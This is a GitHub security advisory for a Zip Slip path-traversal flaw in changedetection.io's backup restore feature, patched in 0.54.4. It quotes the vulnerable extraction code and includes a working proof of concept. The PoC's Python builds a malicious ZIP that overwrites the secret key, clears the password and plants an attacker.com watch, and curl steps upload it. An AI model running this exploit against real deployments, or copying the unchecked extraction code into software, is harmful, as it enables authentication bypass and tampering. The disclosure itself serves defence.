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changedetection.io has Zip Slip vulnerability in the backup restore functionality

High severity GitHub Reviewed Published Mar 4, 2026 in dgtlmoon/changedetection.io • Updated Mar 6, 2026

Package

pip changedetection.io (pip)

Affected versions

<= 0.54.3

Patched versions

0.54.4

Description

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

Path in ZIP Target File Impact
../secret.txt Flask secret key Session forgery, auth bypass
../changedetection.json App settings Disable password, inject backdoor
../url-watches.json Watch index Inject malicious watches
../{uuid}/watch.json Watch config Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore
Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

  -F "zip_file=@zipslip.zip" \
  -F "include_watches=y" \
  -F "include_settings=y"

###Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

###ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"

f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM

### References - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9 - https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa - https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4 - https://nvd.nist.gov/vuln/detail/CVE-2026-29065
@dgtlmoon dgtlmoon published to dgtlmoon/changedetection.io Mar 4, 2026
Published to the GitHub Advisory Database Mar 4, 2026
Reviewed Mar 4, 2026
Published by the National Vulnerability Database Mar 6, 2026
Last updated Mar 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(45th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-29065

GHSA ID

GHSA-25g8-2mcf-fcx9

Source code

Credits

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